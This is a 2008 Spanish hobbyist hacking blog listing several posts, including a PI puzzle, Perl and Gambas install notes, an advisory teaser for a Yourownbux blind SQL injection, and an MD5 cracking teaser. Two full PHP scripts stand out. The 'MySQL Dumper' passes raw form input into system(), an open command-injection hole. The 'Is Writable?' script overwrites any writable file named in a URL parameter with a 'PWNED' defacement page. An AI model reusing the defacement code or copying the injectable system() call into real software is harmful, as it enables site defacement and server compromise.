El Juego del PI

November 23rd, 2008

Hablando con Kalith me ha pasado ESTE LINK (ACM - FCC) el cual contiene problemas de programación muy interesantes para matar el aburrimiento.

Estaba realizando uno el cual se llama ” El juego del PI ” aqui les muestro:


¿Conoces el juego de PI? Es un juego muy común en las reuniones con el afán de castigar a alguien. Consiste principalmente en decir los números naturales en el orden que conocemos, pero cualquier número múltiplo de 7 o que termine en 7 o que la suma de sus dígitos sea múltiplo de 7, debe decirse “pi” en vez del número.

Ejemplo:

Entrada: 5 Output: 5
Entrada: 7 Output: PI
Entrada: 16 Output: PI
Entrada: 10 Output: 10
Entrada: 14 Output 14

Y asi sucesivamente .. Yo les dejaré la manera en que resolvi el problema ( PHP ).

Si lo quieren realizar por su cuenta primero, no sigan leyendo :).

Read more…

Programacion , , ,

MySQL Dumper v1.0

November 19th, 2008

Tras una tarde de aburrimiento, hice este pequeño script en PHP para hacer un backup rapido con MySQL Dump ( nisiquiera me salio como yo queria x.x ) pero bueno de todas maneras lo publicaré.

Requerimientos:

- MySQL Dump
- System() Activada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php
 
/* 
 
Simple Script Para Dumpear una BD Mediante el uso de MySQLDump
 
=============================================================
 
Requerimientos: 
		- Función system() activada
		- MySQL Dump
 
=============================================================
 
By: Tec-n0x
DropSec.com !
 
Contacto: Tec-n0x <at> hotmail <dot> com
 
*/
 
?>
<html>
<head>
<title>MySQL Dumper - v1.0</title>
<style type="text/css">
 
body {
 
 background: black;
 
 font-family: verdana, helvetica, "sans-serif"; 
 
 font-size: 3;
 
 color: #000000;
 
}
 
</style>
</head>
<body link="red" vlink="red">
<center>
 
<div style="width:80%;border: dotted 1px black;">
 
  <div style="background-color:silver;border: solid 3px #000000;">
 
    <div style="background-color:#f0f0f0;"><font size="3">MySQL Dumper v1.0</font>
 <hr color="black">
<font size="2">
<?php
 
if($_POST['dump']) {
 
$host = $_POST['host'];
$user = $_POST['user'];
$pwd  = $_POST['pwd'];
$bd   = $_POST['bd'];
 
if($host == NULL|$user == NULL|$bd == NULL) {
 
	exit("<br>Error:<br><font color='red'>Completa Todos los Campos</font>");
 
						} else {
 
echo '<textarea cols="83" rows="50" onclick="select(this)">';
$do = system("mysqldump --host=$host --user=$user --password=$pwd --quick $bd");
echo '</textarea></a>';
 
if(!$do) {
 
echo "<font color='red'><br><b>Error: Comprueba Los Datos</b>";
 
} else {
 
echo "<font color='green'><br><b>Backup Realizado Correctamente !</b>";
 
}
}
 
						} else {
?>
<form action="" method="POST"><br>
<table border="1" bordercolor="black" style="border-collapse: collapse;">
<tr><td>Host:</td><td><input type="text" name="host" size="37"></td></tr>
<tr><td>User:</td><td><input type="text" name="user" size="37"></td></tr>
<tr><td>Pass:</td><td><input type="text" name="pwd" size="37"></td></tr>
<tr><td>Nombre BD:</td><td><input type="text" name="bd" size="37"></td></tr>
</table>
<input type="submit" name="dump" value="Backup .!">
</form>
 
 
 
<? 
}
?>
 
 
</font>
</div>
</div>
</div>
<font size="3">
<a href="http://dropsec.com">MySQL Dumper v1.0 - By: Tec-n0x .!</a>
</center>
</body>
</html>

El código que tenia era muy diferente al de arriba, pero me daba error el MySQLDump cuando trataba de enviar el Backup hacia un archivo y se me daño todo :(.

Saludos.

PHP Coding , , ,

Instalar un Modulo de Perl en Linux

November 16th, 2008

Bueno, para los que no saben como hacerlo en linux, aqui les dejo este pequeño tutorial :).

Primero que nada, nos ponemos como root:

~/Escritorio$ su
Contraseña:
root@tec-desktop:/home/tec/Escritorio#

Y corremos CPAN:

root@tec-desktop:/home/tec/Escritorio# cpan
Terminal does not support AddHistory.

cpan shell — CPAN exploration and modules installation (v1.7602)
ReadLine support available (try ‘install Bundle::CPAN’)

cpan>

Buscamos el modulo, yo quiero uno de SSL:

cpan> i /ssl/

Y obtenemos los resultados, Ejemplo:

Module Apache2::ModSSL (O/OP/OPI/Apache2-ModSSL-0.07.tar.gz)
Module Apache::AccessLimitNum (Contact Author The Perl/Apache Mailing
……
……
Module WSRF::SSLDaemon (E/EK/EKAWAS/WSRF-Lite-0.8.2.3.tar.gz)
……
……
174 items found

Y Por ultimo solo tenemos que hacer:

cpan> install -nombre del modulo-

En mi caso:

Module OpenSSL (O/OE/OESI/OpenSSL-0.09.tar.gz)

Y Se instalara :).

cpan> install OpenSSL
Running install for module OpenSSL
Running make for O/OE/OESI/OpenSSL-0.09.tar.gz
….

Esto es todo, espero que les sirva :)

Saludos .!

Captcha, Linux, Perl

Nuevo Tema .!

November 16th, 2008

Nuevo Tema Para El Blog :)

Este me ha gustado Mucho, Se llama ” Inove ” Para quien lo quiera poner en su blog.

Espero que les guste el diseño, a mi me gusta ya que la navegacion se ve muy sencilla con este tema.

Suscribanse al RSS :) ( Dedicado A Lix :P )


Saludos

General

VB En Linux: Gambas!

November 15th, 2008

Bueno, andaba navegando por ahi y me he topado con Gambas, nunca me habia tomado el tiempo de verlo pero ahora lo ando viendo y me parece una muy buena opcion para aplicaciones graficas en linux rapidamente.

Instalando Gambas en Ubuntu HH.

Ve a la consola y escribe:

sugo gedit /etc/apt/sources.list

Y Añade lo siguiente al fichero:

deb http://azores.linex.org/gambas-other/ hardy main

Luego:

sudo apt-get update

Y Por ultimo

sudo apt-get install gambas2

Luego teclea en la consola ” gambas2 ” Y Listo !.

Para Hacer el Hello World, Es sencillo, Click en el Menu ” Vista - Caja de Herramientas ” O Simplemente F6, Y Añade Un Label, cambia la propiedad Text Por Hello World y Listo !

La Interfaz es muy parecida a la de VB solo es cuestion de acostumbrarse.
Saludos.

Linux

Nueva Seccion => Explotando a nivel web

October 28th, 2008

Pues he creado esta nueva seccion, aqui les dejo una pequeña “reseña” de lo que tratará la seccion:

Esta sección esta dedicada a la explotacion de bugs en aplicaciones webs, pero tratare de postear experiencias propias en cuanto a algunas aplicaciones que me he encontrado y las cosas que me han llegado a la cabeza para salir del “apuro” que talvez les pueda servir.

.

Espero que les guste y empezare a añadir hoy mismo ;).

General

Crackeando Un Hash MD5

October 15th, 2008

¿Qué es MD5? (Wikipedia):

MD5 (abreviatura de Message-Digest Algorithm 5) es un algoritmo de reducción criptográfico de 128 bits.

El MD5 es uno de los algoritmos mas usados actualmente, normalmente se usa para 2 cosas:

- Verificar la integridad de un archivo (Md5 Checksum)
- Para encriptar contraseñas de los usuarios de una web

En este ocacion veremos el 2do caso.

Read more…

Hacking , , , ,

Yourownbux v4.0 Blind SQL Injection PoC [Cookies]

October 7th, 2008

Aqui lo tienen:

PoC Clickeando Aqui
Milw0rm

Muchas Gracias a C1c4tr1Z por la ayuda en este caso.
El Exploit lo hare la proxima semana y lo publicare aqui mismo en una nueva seccion.

No me hago responsable de lo que hagan con este bug.

Saludos !

Advisories , , ,

Dir Spider v1.0

September 29th, 2008

Bueno, Dedicado a NoStress .. [A Peticion de el] ..

Un programita que prueba Los directorio’s de un array .. y te dice cual existe [Ideal para buscar Paneles de Admin / Logins]

Source:

Read more…

General

Is Writable? Matando el Aburrimiento.

September 22nd, 2008

Hoy he estado aburrido el dia entero.

Y Para matar el aburrimiento hice este pequeño code en PHP que si el archivo es escribible cambia el contenido por el respectivo ” Index ” :P

Una tonteria la verdad pero me sirvió para matar el aburrimiento ( A parte de otras cosas que hice que luego las publicare ).

Código:

<?php
 
/*
 
Is Writable?
Matando el Aburrimiento :P
 
DropSec.com ~/ Tec-n0x
 
*/
 
$file = $_GET['x'];
$info = ' 
 
<html>
<head><title>DropSec.com !!</title></head>
<body bgcolor="black">
<center>
<font size="3" face="verdana" color="white"><b>PWNED ..!!</b><br><br><img src="http://i50.photobucket.com/albums/f334/JON1127/Dominican-Republic.png"><br><br>DropSec.com ~/ Tec-n0x</font>
</center>
</body>
</html>';
 
if(!file_exists($file)) {
 
exit("File Doesn't Exist");	
					}
if(is_writable($file)) {
 
$file = fopen("$file","wr"); // Abrimos el Archivo
$write = fwrite($file, $info); // Escribimos
$close = fclose($file); // Cerramos le Archivo
 
echo "Done :D";
 
} else {
 
echo "Error => Isn't Writable =/";
 
}
 
 
 
?>

Proximamente Mi PHPShell :)

Saludos ..!!


General